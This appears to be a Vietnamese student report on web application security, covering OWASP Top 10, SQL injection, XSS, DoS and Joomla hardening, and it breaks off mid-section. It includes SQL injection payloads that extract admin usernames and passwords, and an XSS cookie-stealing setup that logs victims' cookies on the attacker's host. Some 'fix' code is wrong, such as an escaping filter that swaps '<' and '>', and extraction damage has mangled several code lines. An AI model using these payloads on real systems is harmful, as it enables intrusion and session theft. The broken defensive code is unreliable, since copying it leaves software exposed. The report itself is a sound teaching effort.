MỤC LỤC
A. GIỚI THIỆU :......................................................................................................1
I. Các nguyên nhận và mối đe dọa Website :.......................................................1
II. Khái niệm an ninh website :.............................................................................1
B. Tiêu chuẩn đánh giá an toàn các ứng dụng Web(OWASP)..................................1
I. WEB Application là gì?....................................................................................1
II. Tiêu chuẩn OWASP..........................................................................................3
C. THỰC TIỄN........................................................................................................8
I. CÁC PHƯƠNG THỨC TẤN CÔNG WEB PHỔ BIẾN :...............................8
1. SQL INJECTION :.......................................................................................8
1.1
Cách thức tấn công :...................................................................................8
1.2
Cách Phòng chống :....................................................................................9
2. Cross-Site Scripting ( XSS ) :......................................................................11
2.1
Cách thức hoạt động :...............................................................................11
2.2
Cách phát hiện lỗi :...................................................................................12
2.3
Cách thức tấn công :.................................................................................12
2.4
Cách phòng chống :..................................................................................13
3. Denial of Service ( Dos ) :...........................................................................14
3.1
Cách thức tấn công :.................................................................................14
3.2
Cách phòng chống :..................................................................................15
4. Phương thức tấn công Website Joomla :......................................................16
4.1
Nguyên nhân dẫn đến Website joomla bị tấn công :................................16
4.2
Các cách cần thiết để tránh bị tấn công :..................................................17
5. Phương thức tấn công Website Wordpress :................................................19
5.1 Nguyên nhân dẫn đến Website Wordpress bị tấn công :..............................19
5.2
Các cách cần thiết đễ tránh bị tấn công :..................................................19
II. CÁC CÔNG CỤ QUÉT LỖ HỔNG WEBSITE :..........................................21
1. OWASP Zed Attack Proxy ( ZAP 2.2.2 ) :...................................................21
2. Acunetix Web Vulnerability Scanner ( Sử dụng Trail 14 Day ) :...............22
1
A. GIỚI THIỆU :
I. Các nguyên nhận và mối đe dọa Website :
Trong quá trình hoạt động, ứng dụng web thường được phép truy xuất đến
các tài nguyên quan trọng của hệ thống đó là máy chủ web và máy chủ cơ sở dữ
liệu. Thông thường khi phát triển ứng dụng, các lập trình viên thường dành nhiều
thời gian cho các chức năng, giao diện mà bỏ qua vấn đề bảo mật. Điều đó không
có nghĩa là lập trình viên không quan tâm đến vấn đề bảo mật mà vấn đề ở chỗ họ
thường thiếu kiến thức về bảo mật và vấn đề bảo mật thường bị bỏ qua trong giai
đoạn thiết kế và xây dựng ứng dụng.
Ứng dụng có lỗ hỗng bảo mật thường bị tin tặc khai thác để chiếm quyền điều
khiển máy chủ web và máy chủ cơ sở dữ liệu. Từ đó tin tặc có thể triển khai các
kiểu tấn công khác như:
Thay đổi giao diện trang web
Chèn các mã độc được cài đặt tự động vào máy người dùng khi họ truy cập
vào ứng dụng
Chèn các mã độc để lấy cắp các thông tin về phiên làm việc (session ID)
Lấy cắp thông tin về được lưu trữ trên cơ sở dữ liệu
Truy cập tự do vào những vùng cấm
....
II. Khái niệm an ninh website :
An ninh Website là bằng các phương pháp khoa học và kỹ thuật đánh giá một
cách tổng thể và chi tiết về an tòan bảo mật website . Các phương pháp đánh giá và
phân tích được dựa trên cơ sở sử dụng các công cụ kỹ thuật chuyên dụng và kỹ
thuật tấn công phân tích. Kết quả của việc đánh giá sẽ cho biết về mức độ an tòan
của hệ thống, khả năng phòng chống trước những tấn công ngày càng nhiều và
nguy hiểm trên mạng Internet. Kết quả cung sẽ chỉ ra các thiếu sót cần khắc phục
trong việc triển khai và vận hành hệ thống.
2
B. TIÊU CHUẨN ĐÁNH GIÁ AN TOÀN CÁC ỨNG DỤNG
WEB (OWASP).
I. WEB Application là gì?
1. Khái quát web application
Web application là những ứng dụng phần mềm chạy được trên trình duyệt
web, nói cách khác bạn có thể truy xuất vào phần mềm của mình mọi lúc mọi
nơi chỉ cần có kết nối internet.
Ưu thế: đặc biệt của việc xây dựng ứng dụng Web để hỗ trợ những tính năng
chuẩn của trình duyệt đó là chúng sẽ hoạt động như mong muốn bất kể hệ
điều hành hay phiên bản hệ điều hành nào được cài trên máy khách cho
trước, ứng dụng có thể được viết chỉ một lần và triển khai mọi nơi.
Nhược điểm: sự hiện thị không được ổn định của HTML, CSS, DOM và
những đặc tính trình duyệt khác có thể gây ra rắc rối trong việc phát triển và
hỗ trợ ứng dụng web. Thêm vào đó, khả năng cho người dùng điều chỉnh
nhiều cài đặt hiển thị cho trình duyệt của họ (như chọn kích thước font, màu
sắc, và kiểu chữ, hoặc tắt tính năng script) có thể can thiệp vào sự ổn định
của ứng dụng web.
Cấu trúc ứng dụng web
3
2. Cấu trúc web application
- Ba lớp của ứng dụng web:
Một trình duyệt Web là lớp thứ nhất
Lớp thứ hai: một bộ máy sử dụng một vài công nghệ nội dung Web động
(như ASP, ASP.NET, CGI, ColdFusion, JSP/Java, PHP, Python, hoặc Ruby
On Rails) là lớp giữa,
Lớp thứ ba : một cơ sở dữ liệu
3. Các rủi ro trong web application
Kẻ tấn công có thể lợi dụng nhiều con đường khác nhau thông qua ứng dụng
của bạn và làm tổn hại doanh nghiệp hay tổ chức của bạn. Mỗi con đường
thể hiện một rủi ro khác nhau mà có thể có hoặc không gây ra sự chú ý.
Thường thì những con đường này khá dễ để tìm ra và tận dụng để phá hoại,
tuy nhiên cũng có những trường hợp rất phức tạp. Hiện nay có khá nhiều kĩ
thuật đã được khai thác trong các ứng dụng liên quan đến web.
92% lỗ hỗng nằm ở lớp ứng dụng, không nằm trong lớp hạ tầng mạng. 90%
ngân sách tập trung vào hạ tầng mạng. 75% cuộc tấn công nhằm vào lớp ứng
dụng.
Các lỗ hổng phổ biến nhất
II. Tiêu chuẩn OWASP.
1. OWASP là gì?
4
- OWASP (Open Web Application Security Project) là 1 dự án mở về bảo mật
ứng dụng web, dự án là sự cố gắng chung của cộng đồng với mục đích giúp
các doanh nghiệp có thể phát triển, mua và bảo trì các ứng dụng web một
cách an toàn.
- OWASP cung cấp nhiều tài liệu hướng dẫn về các lĩnh vực khác nhau trong
việc bảo mật ứng dụng:
Các vấn đề về bảo mật ứng dụng (Application Security Desk Reference):
cung cấp các định nghĩa và mô tả về tất cả các khái niệm quan trọng, các
loại lỗi, lỗ hổng, các phương pháp tấn công, phương pháp kiểm tra, các
tác động kỹ thuật và tác động kinh doanh trong bảo mật ứng dụng. Đây là
tài liệu tham chiếu cho tất cả các tài liệu hướng dẫn khác của OWASP.
Hướng dẫn Phát triển (Developer’s Guide): bao gồm tất cả các yếu tố bảo
mật mà người phát triển ứng dụng cần quan tâm. Trong tài liệu cung cấp
hàng trăm loại lỗ hổng phần mềm, có thể được sử dụng như một sách
hướng dẫn mạnh mẽ về kiểm soát bảo mật.
Hướng dẫn Kiểm tra (Testing Guide): Là tài liệu cung cấp về các quy
trình và công cụ kiểm tra bảo mật ứng dụng. Cách sử dụng tài liệu tốt
nhất là áp dụng vào việc kiểm tra điểm yếu bảo mật của một ứng dụng
hoàn thiện.
Hướng dẫn Kiểm tra mã nguồn (Code Review Guide): Kiểm tra ứng dụng
bằng cách xem mã nguồn sẽ hỗ trợ phòng tránh cho ứng dụng khỏi các
tác động bên cạnh việc kiểm tra từ bên ngoài. Người kiểm tra có thể chủ
động lựa chọn cách thức tiếp cận với ứng dụng phù hợp nhất.
Ngoài ra, cộng đồng OWASP cũng giới thiệu tài liệu “OWASP Top 10”.
Đây là một dự án tập trung vào phân loại 10 rủi ro bảo mật ứng dụng phổ
biến nhất trong mối quan hệ với các tác động kỹ thuật và kinh doanh,
đồng thời cung cấp các hướng dẫn cụ thể về cách thức kiểm tra, xác minh
và khắc phục những điểm yếu bảo mật dễ gặp phải của ứng dụng.
OWASP Top 10 chủ yếu tập trung giải quyết vấn đề về các nguy cơ phổ
biến hơn là việc bảo mật trên một ứng dụng web hoàn thiện. Toàn bộ nội
dung trong OWASP Top 10 được đăng tải tại địa
chỉ: www.owasp.org/index.php/Top10.
- Có 1 số thay đổi giữa OWASP TOP phiên bản 2013 và phiên bản 2010 :
5
- Ưu điểm của phương pháp OWASP
Khuyến khích các nhà phát triển thực hành mã hóa an toàn bằng cách tích
hợp kiểm tra an ninh ở từng giai đoạn phát triển. Điều này sẽ giúp cho các
ứng dụng trong quá trình phát triển tránh được các lỗi và an toàn hơn.
Tài liệu Hướng dẫn Kiểm tra của OWASP cung cấp chi tiết về các kỹ
thuật đánh giá, cung cấp một cái nhìn rộng hơn vào nhiều nền tảng công
nghệ giúp người kiểm tra lựa chọn cách thức phù hợp nhất để tiến hành
kiểm tra.
Tài liệu OWASP Top 10 cung cấp các hướng dẫn kỹ thuật giúp chống lại
các cuộc tấn công và điểm yếu bảo mật phổ biến nhất và duy trì tính bảo
mật (Confidentiality), tính toàn vẹn (Integrity) và tính sẵn sàng
(Availability) của ứng dụng (CIA).
Cộng đồng OWASP cũng đã phát triển một số công cụ bảo mật và hướng
dẫn sử dụng tập trung vào kiểm tra ứng dụng web một cách tự động. Một
vài công cụ như: WebScarab, Wapiti, JBroFuzz và SQLiX. Các công cụ
này cũng được cài đặt sẵn trong hệ điều hành BackTrack.
6
a. Injection (nhúng mã)
Nguyên nhân: Các truy vấn đầu vào tại ứng dụng bị chèn các dữ liệu không
an toàn rồi gửi đến server.
SQL ijection, XML injection, command injection,…
Nguy cơ:
Truy cập dữ liệu bất hợp pháp.
Thêm, xóa, sửa dữ liệu nguy hiểm vào Database.
Thực hiện một số tấn công từ chối dịch vụ.
b. Broken Authentication and Session Management (Sai lầm trong kiểm
tra định danh)
Cho phép hacker từ bên ngoài có thẻ truy cập trái phép vào những tài nguyên
nội bộ, thực hiện các hành vi nâng quyền quản trị hoặc tấn công dựa vào các
dạng như session,…
Những đoạn chương trình kiểm tra danh tính và quản lí phiên làm việc của
người sử dụng thường hay được làm qua loa không đúng cách. Điều này giúp
kẻ thâm nhập có thể ăn cắp mật mã, khóa, mã của các phiên làm việc
(session token) hoặc tận dụng những lỗi khác để giả mạo danh tính các người
dùng khác.
c. Cross-Site Scripting(XSS)
Cho phép hacker thực thi mã độ tại máy nạn nhân
Nguy cơ đánh cắp cookie/session
Thực hiện các truy vấn hại cho người dung.
Phát tán mã độc
d. Insecure Direct Object References (Đối tượng tham chiếu không an
toàn)
7
Xảy ra khi người phát triển để lộ một tham chiếu đến những đối tượng trong
hệ thống như các tập tin, thư mục hay chìa khóa dữ liệu. Nếu chúng ta không
có một hệ thống kiểm tra truy cập, kẻ tấn công có thể lợi dụng những tham
chiếu này để truy cập dữ liệu một cách trái phép..
Việc phân quyền yếu cho phép người dùng có thể truy cập dữ liệu của người
khác. Và hacker có thể xác định được cấu trúc truy vấn gửi đến server và có
thể nhanh chóng thu nhập dữ liệu như Credit Card, mã khách hang, thông tin
cá nhân.
e. Security Misconfiguration (sai sót trong cấu hình)
Một cơ chế an ninh tốt cần phải định nghĩa những hiệu chỉnh về an ninh và
triển khai nó cho các ứng dụng, khuôn mẫu, máy chủ ứng dụng, máy chủ
web, máy chủ dữ liệu và các ứng dụng nền tảng. Tất cả những thiệt lập nên
được định nghĩa, thực hiện và bảo trì bởi vì rất nhiều thứ không được triển
khai với thiết lập an toàn mặc định. Các hiệu chỉnh cũng bao gồm cập nhật
phần mềm và những thư viện được sử dụng bởi ứng dụng.
f. Sensitive Data Exposure (Lưu trữ dữ liệu thiếu an toàn)
Các dữ liệu nhạy cảm được lưu trữ khôn an toàn ảnh hưởng đến hệ thống
máy chủ cũng như khách hang
Thẻ tín dụng/ Tài khoản đăng nhập được lưu trữ dưới dạng không mã hóa
(clear-text).
Kênh truyền HTTPS bị hacker nghe lén và dữ liệu được giải mã thông qua lỗ
hổng CRIME
g. Missing Function Level Access Control (Sai sót trong hạn chế truy cập)
Nhiều ứng dụng web kiểm tra quyền thực thi địa chỉ truy cập (URL) trước
khi dựng các liên kết và nút nhấn được bảo vệ. Tuy nhiên ứng dụng cũng
phải thực hiện những kiểm tra tương tự mỗi khi những trang thông tin được
truy cập trực tiếẩn này.p nếu không kẻ tấn công có thể giả mạo URL để truy
cập vào những trang thông tin ẩn này.
h. Cross-Site Request Forgery (Giả mạo yêu cầu)
là kỹ thuật tấn công bằng cách sử dụng quyền chứng thực của người dùng
đối với một website. CSRF là kỹ thuật tấn công vào người dùng, dựa vào đó
hacker có thể thực thi những thao tác phải yêu cầu sự chứng thực hay cho
8
phép kẻ tấn công buộc trình duyệt của nạn nhân để tạo ra các yêu cầu ứng
dụng vi phạm dưới dạng yêu cầu hợp pháp của nạn nhân.
Với những hệ thống thanh toán không kiểm tra tính hợp lệ của
token/Session/Domain,… thì nguy cơ người dùng bị mất tiền do bị lừa thực
hiện các mã kịch bản do hacker cài vào.
i. Using Components with Known Vulnerabilities (Sử dụng các thành
phần có lỗ hỏng)
Việc sử dụng các lỗ hổng bảo mật trong các thư viện, plugin, module, ứng
dụng,.. Được công khai trong cộng đồng giúp hacker nhanh chóng khai thác
các lỗ hổng bão mật
Các ứng dụng sử dụng các thành phần có lỗ hổng đã biết sẽ dẫn đến làm suy
yếu bảo mật ứng dụng và cho phép một loạt các cuộc tấn công có thể và tác
động.
j. Unvalidated Redirects and Forwards (Chuyển hướng và chuyển tiếp
thiếu thẩm tra)
Việc chuyển hướng không an toàn người dùng đến một đường dẫn bên ngoài
trang có nguy cơ đưa người dung truy cập đến những trang chứa mã độc
nhằm tấn công vào chính người dung và hệ thống.
C. THỰC TIỄN
I. CÁC PHƯƠNG THỨC TẤN CÔNG WEB PHỔ BIẾN :
1. SQL INJECTION :
SQL injection là một kĩ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng
trong việc kiểm tra dữ liệu nhập trong các ứng dụng web và các thông báo lỗi của
hệ quản trị cơ sở dữ liệu để "tiêm vào" (inject) và thi hành các câu lệnh SQL bất
hợp pháp (không được người phát triển ứng dụng lường trước). Hậu quả của nó rất
tai hại vì nó cho phép những kẻ tấn công có thể thực hiện các thao tác xóa, hiệu
chỉnh, … do có toàn quyền trên cơ sở dữ liệu của ứng dụng, thậm chí là server mà
ứng dụng đó đang chạy. Lỗi này thường xảy ra trên các ứng dụng web có dữ liệu
được quản lí bằng các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle,
DB2, Sysbase.
SQL Injection : được mô tả như là một trong những lỗ hổng bảo mật web
nguy hiểm nhất. Khai thác Sql Injection, ngoài việc đoạt được quyền kiểm soát về
9
mặt dữ liệu như đã nói ở trên, hacker còn có thể cài đặt backdoor trên server mà
ứng dụng đang chạy, qua đó kiểm soát toàn bộ hệ thống…
1.1 Cách thức tấn công :
Thông qua link web hacker có thể dùng những lệnh truy vấn database để tấn
công
Ví dụ :
- Để phát hiện lỗi của website người tấn công thêm vào các giá trị vào đường
truy cập:
http://www. www.example.com /product_details.php?idproduct=10’
- Và thực hiện tiếp các câu truy vấn khác :
ORDER BY 6
- Dùng những câu lệnh Select để truy xuất dữ liệu :
UNION SELECT
1,@@VERSION,3,4,5—
- Hiện thỉ các table :
http:// www.example.com/product_details.php?idproduct=10’ UNION SELECT
1,GROUP_CONCAT%28TABLE_NAME%29,3,4,5
FROM
INFORMATION_SCHEMA.TABLES
WHERE
TABLE_SCHEMA=DATABASE()-- Lấy user, password từ Admin :
http:// www.example.com /product_details.php?idproduct=10’ UNION
SELECT
1,GROUP_CONCAT(Admin_ID,0x3a,User_Name,0x3a,Password),3,4,5
FROM admin—
Hacker có thể dùng tools để tấn công 1 cách nhanh chống :
o Sqlmap
o Havij
o Pangolin
10
o …..
1.2 Cách Phòng chống :
Ví dụ :
- Ngăn chặn thông báo lỗi :
Code chưa fix :
$id = $_GET[id]; mysql_query("SELECT * FROM sanchoituoitre.vn WHERE
id=$id");
Code đã fix :
$id =
$_GET[id];
* FROM sanchoituoitre.vn WHERE id=$id");
@mysql_query("SELECT
- Sử dụng hàm : mysql_real_escape_string
$user="";
$password="";
$query = sprintf("SELECT * FROM users WHERE user='' AND password=''",
mysql_real_escape_string($user),
mysql_real_escape_string($password));
echo $query;
Kết quả in ra là : SELECT * FROM users WHERE user='' AND password=''
- Các câu truy vấn user , password đơn giản sẽ dễ bị tấn công :
using (SqlConnection connnection = new SqlConnection(ConnString))
{
// Build the query statement using dynamic data.
string sql = "SELECT UserId FROM User WHERE " +
"UserName = '" + UserName + "' AND " +
"Password = '" + Password + "'";
using (SqlCommand cmd = new SqlCommand(sql))
{
cmd.Connection = connnection;
try
{
cmd.Connection.Open();
var userId = cmd.ExecuteScalar();
}
11
catch (SqlException sx)
{
// Handle exceptions before moving on.
}
}
}
- Có thể sữa truy vấn bằng cách thêm các tham số vào các giá trị :
string sql = "SELECT UserId FROM User WHERE " +
"UserName = @UserName AND Password = @Password";
using (SqlCommand cmd = new SqlCommand(sql))
{
// Create the parameter objects as specific as possible.
cmd.Parameters.Add("@UserName", System.Data.SqlDbType.NVarChar,
50);
cmd.Parameters.Add("@Password", System.Data.SqlDbType.NVarChar,
25);
// Add the parameter values. Validation should have already happened.
cmd.Parameters["@UserName"].Value = UserName;
cmd.Parameters["@Password"].Value = Password;
cmd.Connection = connnection;
try
{
cmd.Connection.Open();
var userId = cmd.ExecuteScalar();
}
catch (SqlException sx)
{
// Handle exceptions before moving on.
}
}
2. Cross-Site Scripting ( XSS ) :
XSS là kĩ thuật tấn công bằng cách chén vào các website động ( ASP, PHP,
CGI, JSP … ) những thẻ HTML hay những đoạn mã script nguy hiểm có thể gây
nguy hại cho những người sử dụng khác. Trong đó, những đoạn mã nguy hiểm
12
được chén vào hầu hết được viết bằng các Client-Site Script như Javascript, Jscript,
DHTML và cũng có thể là cả các thẻ HTML.
XSS là một trong những lỗi phổ biến, có rất nhiều trang web mắc phải lỗi
này.
I.1 Cách thức hoạt động :
XSS cho phép attacker chèn các đoạn mã vào link của đường dẫn, để thực thi
trên trình duyệt của người dùng, dẫn đến việc mất cookies, mật khẩu, session hay
fishing lừa đảo hay chèn virus, Trojan, backdoor...
Thường thì XSS có dạng như sau:
/>Và nội dung hiện ra trên trình duyệt sẽ là: “ hello ”
I.2 Cách phát hiện lỗi :
Chủ yếu lỗi XSS nằm ở các phần : search results, error messages, Web-form,
và những chỗ mà người dùng có thể nhập dự liệu vào và sau đó nhận được một kết
quả gì đó.
Các thức tìm lỗi XSS :
- Có thể dùng các công cụ quét lỗi Website ở trang 4
- Chúng ta có thể tìm lỗi bằng tay với những phần mình nên trên như :
search….. Chúng ta thực hiện các bước sau :
Bước 1 : Mở website cần kiểm tra
Bước 2 : Bắt đầu kiểm tra , định vị 1 ô tìm kiếm hoặc 1 login form và gửi thông
tin đi (nhập thông tin và nhấn submit) , ví dụ nhập chữ "XSS" hay những từ khác .
Bước 3 : Xác định khả năng site có bị lỗi XSS hay không bằng cách xem thông
tin trả về :
Ví dụ bạn thấy như thế này : · "Your search for 'XSS' did not find any items"
· "Your search for 'XSS' returned the following results" · "User 'XSS' is not valid" ·
"Invalid login 'XSS'" hoặc là giá trị nào đó có liên quan tới "XSS" mà bạn nhập vào
ban đầu thì 99% "Alert" này bị XSS
Hãy thữ lần lượt với các script khác : < script>alert('XSS')< /script> hoặc
csstest=java script:alert('XSS')> hoặc &{alert('XSS')};
13
Bước 4 : Chèn code thực sự vào nơi bị lỗi : < script>alert('XSS')< /script>
vào ô nhập giá trị và nhấn SUBMIT . Nếu sau đó bạn nhận được 1 popup có chữ
"XSS" thì "Alert" này 100% bị dính XSS .
Một ví dụ khác thường gặp hơn :
là site bị dính lỗi XSS và ta tìm được nơi bị lỗi như thế
này : script> , nghĩa là ta có thể chèn
code ngay trên thanh ADDRESS .
I.3 Cách thức tấn công :
Khác với các lỗi khác là gây hại trực tiếp lên hệ thống chứa web site, còn
XSS lại không gây hại đến hệ thống của sever mà đối tượng tấn công chủ yếu của
XSS lại là người dùng.
- Hacker có thể tấn công lấy cookies bằng những kỹ thuật :
o Hacker sẽ tạo ra ở host của mình một file cookie.asp có nội dung:
<% Set x = CreateObject("Scripting.FileSystemObject") Set y =
x.OpenTextFile(Server.MapPath("xss.txt"),
8,
true)
y.WriteLine
Request.QueryString("cookie") y.Close Set y = Nothing Set x = Nothing %>
o Hoặc 1 file cookie.php như thế này :
<? $f = fopen("xss.txt","a"); fputs($f, $cook.chr(13)); fclose($f); ?>
o Tiếp tục sẽ chén vào link web lỗi :
[URL=" />%3C"] />script>window.open(" />cookie="+document.cookie)< /script>
Sau khi người dùng click vào link của hacker thì hacker sẽ vào file xss.txt xem
cookies.
- Hacker có thể mở thêm 1 trang web có chứa mã độc hoặc Trojan mà bạn sẽ
không biết được :
o Dùng code IFRAME :
hidden;'></iframe>
width='1'
height='1'
style='visibility;
14
o Hoặc :
<meta http-equiv="Refresh" content="0;url=">
Ngoài ra hacker có thể chuyển hướng sang 1 web nào đó mà hacker mong muống.
I.4 Cách phòng chống :
Để phòng chống tốt nhất XSS là theo nguyên tắc FIEO (Filter Input, Escape
Output). Để làm việc này thì hiện tại có khá nhiều bộ lọc để chúng ta lựa chọn.
Chúng ta sẽ có vài cách cơ bản sau :
- Viết mã lọc nội dung theo nguyên tắc FIEO (Filter Input, Escape Output) . Vì
các đoạn mã độc bắt đầu vối “<script>” và kết thúc với “</script>” . Thay :
“<” và “>” = “>” và “<” (các thực thể html) .Ta có đoạn code sau :
str_replace("<",">",$info);str_replace(">","<",
$info);str_replace("'","'",$info);str_replace(""",""",$info);
str_replace("&","&",$info);
- Nếu bạn đang sử dụng Apache Server các bạn có thể sử dụng mod_perl với
module Apache:TaintRequest để lọc và mã hóa các dữ liệu truy vấn :
use Apache::TaintRequest;
my $apr = Apache::TaintRequest->new(Apache->request);
my $text = $apr->param('text');
$r->content_type("text/html");
$r->send_http_header;
$text =~ s/[^A-Za-z0-9 ]//;
$r->print("You entered ", $text);
3. Denial of Service ( Dos ) :
Tấn công bằng từ chối dịch vụ DoS (Denial of Service) có thể mô tả như
hành động ngăn cản những người dùng hợp pháp khả năng truy cập và sử dụng vào
một dịch vụ nào đó. Nó bao gồm làm tràn ngập mạng, mất kết nối với dịch vụ…
mà mục đích cuối cùng là máy chủ (Server) không thể đáp ứng được các yêu cầu sử
dụng dịch vụ từ các máy trạm (Client).
DoS có thể làm ngưng hoạt động của một máy tính, một mạng nội bộ, thậm
chí cả một hệ thống mạng rất lớn. Về bản chất thực sự của DoS, kẻ tấn công sẽ
15
chiếm dụng một lượng lớn tài nguyên mạng như băng thông, bộ nhớ… và làm mất
khả năng xử lý các yêu cầu dịch vụ từ các client khác.
3.1Cách thức tấn công :
- Thông qua kết nối :
o Tấn công kiểu SYN flood :
Lợi dụng cách thức hoạt động của kết nối TCP/IP, hacker bắt đầu quá trình thiết
lập một kết nối TPC/IP tới mục tiêu muốn tấn công mà không gửi trả gói tin ACK,
khiến cho mục tiêu luôn rơi vào trạng thái chờ (đợi gói tin ACK từ phía yêu cầu
thiết lập kết nối) và liên tục gửi gói tin SYN ACK để thiết lập kết nối. Một cách
khác là giả mạo địa chỉ IP nguồn của gói tin yêu cầu thiết lập kết nối SYN và cũng
như trường hợp trên, máy tính đích cũng rơi vào trạng thái chờ vì các gói tin SYN
ACK không thể đi đến đích do địa chỉ IP nguồn là không có thật. Kiểu tấn công
SYN flood được các hacker áp dụng để tấn công một hệ thống mạng có băng thông
lớn hơn hệ thống của hacker.
- Lợi dụng nguồn tài nguyên của chính nạn nhân để tấn công :
o Kiểu tấn công Land Attack :
Kiểu tấn công Land Attack cũng tương tự như SYN flood, nhưng hacker sử
dụng chính IP của mục tiêu cần tấn công để dùng làm địa chỉ IP nguồn trong gói
tin, đẩy mục tiêu vào một vòng lặp vô tận khi cố gắng thiết lập kết nối với chính
nó.
o Kiểu tấn công UDP flood
Hacker gửi gói tin UDP echo với địa chỉ IP nguồn là cổng loopback của
chính mục tiêu cần tấn công hoặc của một máy tính trong cùng mạng. Với mục tiêu
sử dụng cổng UDP echo (port 7) để thiết lập việc gửi và nhận các gói tin echo trên
2 máy tính (hoặc giữa mục tiêu với chính nó nếu mục tiêu có cấu hình cổng
loopback), khiến cho 2 máy tính này dần dần sử dụng hết băng thông của chúng, và
cản trở hoạt động chia sẻ tài nguyên mạng của các máy tính khác trong mạng.
- Sử dụng băng thông :
o Tấn công kiểu DDoS (Distributed Denial of Service)
Đây là cách thức tấn công rất nguy hiểm. Hacker xâm nhập vào các hệ thống
máy tính, cài đặt các chương trình điều khiển từ xa, và sẽ kích hoạt đồng thời các
chương trình này vào cùng một thời điểm để đồng loạt tấn công vào một mục tiêu.
16
Với DDoS, các hacker có thể huy động tới hàng trăm thậm chí hàng ngàn máy tính
cùng tham gia tấn công cùng một thời điểm (tùy vào sự chuẩn bị trước đó của
hacker) và có thể "ngốn" hết băng thông của mục tiêu trong nháy mắt.
3.2 Cách phòng chống :
Hậu quả mà DoS gây ra không chỉ tiêu tốn nhiều tiền bạc, và công sức mà
còn mất rất nhiều thời gian để khắc phục. Vì vậy, hãy sử dụng các biện pháp sau để
phòng chống DoS:
- Các bạn có thể cài đặt những software Anti-Ddos trên windows hoặc đối với
Linux có Mod_security…… để tạo ra những ruler khi truy cập.
- Mô hình hệ thống cần phải được xây dựng hợp lý, tránh phụ thuộc lẫn nhau
quá mức. Bởi khi một bộ phận gặp sự cố sẽ làm ảnh hưởng tới toàn bộ hệ
thống.
- Thiết lập mật khẩu mạnh (strong password) để bảo vệ các thiết bị mạng và
các nguồn tài nguyên quan trọng khác.
- Thiết lập các mức xác thực đối với người sử dụng cũng như các nguồn tin
trên mạng. Đặc biệt, nên thiết lập chế độ xác thực khi cập nhật các thông tin
định tuyến giữa các router.
- Xây dựng hệ thống lọc thông tin trên router, firewall… và hệ thống bảo vệ
chống lại SYN flood.
- Chỉ kích hoạt các dịch vụ cần thiết, tạm thời vô hiệu hoá và dừng các dịch vụ
chưa có yêu cầu hoặc không sử dụng.
- Xây dựng hệ thống định mức, giới hạn cho người sử dụng, nhằm mục đích
ngăn ngừa trường hợp người sử dụng ác ý muốn lợi dụng các tài nguyên trên
server để tấn công chính server hoặc mạng và server khác.
- Liên tục cập nhật, nghiên cứu, kiểm tra để phát hiện các lỗ hổng bảo mật và
có biện pháp khắc phục kịp thời.
- Sử dụng các biện pháp kiểm tra hoạt động của hệ thống một cách liên tục để
phát hiện ngay những hành động bất bình thường.
17
4. Phương thức tấn công Website Joomla :
Hiện Joomla! ngày càng phát triển mạnh mẽ và ngày càng được ứng dụng
rộng rãi ở Việt Nam với số lượng các thành phần mở rộng (extensions) từ các hãng
thứ ba cũng tăng không ngừng cả về số lượng và chất lượng. Rất nhiều thành phần
mở rộng (gồm component, module, plugin, template...) thực sự tuyệt vời và đáng
được cài đặt trên mọi Website.
Tuy nhiên, có một thực tế song hành với mặt ưu điểm trên là số lượng các
Website bị tấn công thông qua các lỗi lập trình bất cẩn trong các thành phần mở
rộng được cài đặt thêm cũng ngày càng tăng cao.
4.1 Nguyên nhân dẫn đến Website joomla bị tấn công :
- Quyền trên các folder/file không bảo mật.
- Mật khẩu Backend (tức Administrator) quá dễ để dò ra.
- Không có Password Protect thư mục Backend.
- Sử dụng các Module/Extension của một cá nhân/hãng nào đó lập trình kém,
sử dụng bản crack/null (đã chứa sẵn shell script ) được tung lên mạng.
4.2 Các cách cần thiết để tránh bị tấn công :
Bảo mật cho Website Joomla là một nhân tố quan trọng góp phần bảo vệ
Website trước các âm mưu tấn công có chủ đích cũng như vô tình, giúp cho
Website luôn hoạt động ổn định và bền vững. Nhiều quản trị Website chỉ đặt trọng
tâm vào việc thiết kế, cập nhật nội dung và giành thứ hạng cao trong các kết quả
tìm kiếm mà quên đi việc đảm bảo an toàn cho Website.
- Sao lưu toàn bộ Website theo định kỳ :
Điều đầu tiên và cũng là quan trọng nhất là bạn phải thường xuyên sao lưu toàn
bộ Website bao gồm cả thư mục chứa Joomla và cơ sở dữ liệu MySQL. Hãy lập
lịch ít nhất một lần trong tuần (khuyến cáo là mỗi ngày một lần) để thực hiện sao
lưu. Bạn sẽ tiết kiệm được rất nhiều công sức và tiền của khi Website bị tấn công và
chỉ mất vài phút hoặc vài chục phút để khôi phục lại gần như toàn bộ.
- Nâng cấp khi Joomla có phiên bản phát hành ổn định mới nhất :
Nhóm phát triển nòng cốt của Joomla luôn phát hành đều đặn vài tháng một lần
phiên bản Joomla mới bao gồm cả các bản vá lỗi bảo mật và và các bản vá tăng
cường hiệu suất làm việc, do vậy bạn cần kiểm tra thường xuyên trên website của
Joomla () để kịp thời cập nhật phiên bản mới nhất.
18
- Kiểm tra các thành phần mở rộng (module, component, mambot/plugin) của
các hãng thứ ba :
Hầu hết Website có thể bị tấn công thông qua các lỗi bảo mật nằm trong các
thành phần mở rộng được cài đặt thêm từ hãng thứ ba. Do vậy bạn cũng luôn phải
chắc chắn rằng nếu mình có cài đặt các thành phần mở rộng từ hãng thứ ba thì đó
phải là các phiên bản mới nhất.
Khuyến cáo: Hãy hạn chế tới mức tối đa việc cài đặt các thành phần mở rộng từ
hãng thứ ba. Ngoài ra khi bạn quyết định gỡ một thành phần mở rộng nào đó khỏi
hệ thống thì bạn cũng xóa cả các bảng cơ sở dữ liệu liên quan.
- Quyền hạn đối với các thư mục :
Sau khi cài đặt các thành phần mở rộng, bạn cần thiết lập quyền hạn đối với các
thư mục sang chế độ CHMOD 755.
Lưu ý: Nếu quá trình cài đặt các thành phần mở rộng
(component/module/language...) gặp trục trặc bạn cần chuyển các thư mục sau sang
CHMOD 777. Khi cài đặt xong lại thiết lập như trên (755 đối với thư mục và 644
đối với file)
Components
language
modules
mambots
templates
administrator
administrator/backups
administrator/components
administrator/modules
- Quyền hạn đối với các tệp : Thiết lập quyền hạn đối với tất cả các tệp của
bạn sang chế độ CHMOD 644.
- Quyền hạn đối với tệp configuration.php :
19
Đây là một điều rất quan trọng. Bạn phải chắc chắn rằng mình đã thiết lập quyền
hạn cho tệp "configuration.php" sang CHMOD 644.
- Bảo mật với .htaccess :
Bản phát hành mới nhất của Joomla bao gồm cả phiên bản cập nhật cho tệp
".htaccess" để làm giảm thiểu nguy cơ tấn công từ các hacker. Do vậy bạn cần phải
